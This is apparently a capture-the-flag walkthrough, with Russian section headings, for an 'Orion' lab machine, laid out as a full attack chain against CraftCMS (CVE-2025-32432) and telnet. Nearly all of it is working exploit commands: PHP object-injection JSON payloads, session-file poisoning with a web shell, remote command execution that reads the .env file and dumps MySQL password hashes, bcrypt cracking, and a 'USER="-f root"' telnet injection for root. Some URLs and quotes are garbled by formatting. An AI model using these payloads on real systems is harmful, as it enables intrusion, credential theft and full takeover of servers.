###Orion CraftCMS RCE CVE-2025-32432, CVE-2026-24061### ##Разведка## nmap -sC -sV -T4 -Pn --min-rate 10000 10.129.38.254 -oA orion

##Поиск скрытых директорий и файлов## gobuster dir \ -u http://orion.htb \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt \ -x php,txt,html,bak,zip \ -t 50 –exclude-length 1234

##Обход CSRF## curl -s -c cookies.txt http://orion.htb/admin/login -o login.html grep -o ‘csrfTokenValue[^,]*’ login.html cat cookies.txt

##payload.json## { “assetId”: 1, “handle”: { “width”: 123, “height”: 123, “as session”: { “class”: “craft\\behaviors\\FieldLayoutBehavior”, “__class”: “GuzzleHttp\\Psr7\\FnStream”, “__construct()”: [[]], “_fn_close”: “phpinfo” } } }

##CSRF обойден## curl -s -b cookies.txt \ -H “X-CSRF-Token: kFtdF_huKCeEssD5XMg2uH0VBmuo6OXxIuZw5qr0nTZSRvrHNVdIR_YOG0SwHBAXtfzwkwT6AckUdDQKyt2plkzQOqDcovFhYAy-ins2fjM=” \ -H “Content-Type: application/json” \ -X POST “http://orion.htb/index.php?p=actions/assets/generate-transform” \ -d @payload.json -o response.html -w “HTTP %{http_code}\n” grep -i “PHP Version” response.html

##Отравим файл сессии PHP с помощью веб-шелла## curl -g -s -c webshell_cookies.txt \ “[http://orion.htb/index.php?p\=admin/dashboard&a\=” \ -o /dev/null -D -

##Payload2.json## { “assetId”: 1, “handle”: { “width”: 123, “height”: 123, “as session”: { “class”: “craft\\behaviors\\FieldLayoutBehavior”, “__class”: “yii\\rbac\\PhpManager”, “__construct()”: [{“itemFile”: “/var/lib/php/sessions/sess_mo36sl23ljnjqptvr4noo9jvvu”}] } } }

##Сбор учетных данных## curl -g -s -b cookies.txt \ -H “X-CSRF-Token: kFtdF_huKCeEssD5XMg2uH0VBmuo6OXxIuZw5qr0nTZSRvrHNVdIR_YOG0SwHBAXtfzwkwT6AckUdDQKyt2plkzQOqDcovFhYAy-ins2fjM=” \ -H “Content-Type: application/json” \ -X POST ‘[[http://orion.htb/index.php?p\\\=actions/assets/generate-transform&cmd\\\=system\\](http://orion.htb/index.php?p\=actions/assets/generate-transform&cmd\=system\)("cat /var/www/html/craft/.env]([http://orion.htb/index.php?p\=actions/assets/generate-transform&cmd\=system\\](http://orion.htb/index.php?p=actions/assets/generate-transform&cmd=system\)(“cat /var/www/html/craft/.env)”);’ \ -d @payload2.json -o response.html -w “HTTP %{http_code}\n” grep -i -e “root” -e “password” response.html

##Опрашиваем MySQL## B64=$(base64 -w0 <<< “system(‘mysql -u root -pSuperSecureCraft123Pass! orion -e \“select username, email, password from users;\” 2>&1’);” | sed ‘s/+/+/g’)

curl -g -s -b cookies.txt -H “X-CSRF-Token: kFtdF_huKCeEssD5XMg2uH0VBmuo6OXxIuZw5qr0nTZSRvrHNVdIR_YOG0SwHBAXtfzwkwT6AckUdDQKyt2plkzQOqDcovFhYAy-ins2fjM=” \ -H “Content-Type: application/json” \ -X POST “http://orion.htb/index.php?p=actions/assets/generate-transform&cmd=eval(base64_decode(‘$B64’));” \ -d @payload2.json -o response.html -w “HTTP %{http_code}\n” grep -i “@” response.html

##John для подбора пароля## john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

##Внутренняя разведка## netstat -tulnp telnet --version #telnet 2.7#

#exploit# USER=“-f root” telnet -a 127.0.0.1 ####i am root!!!###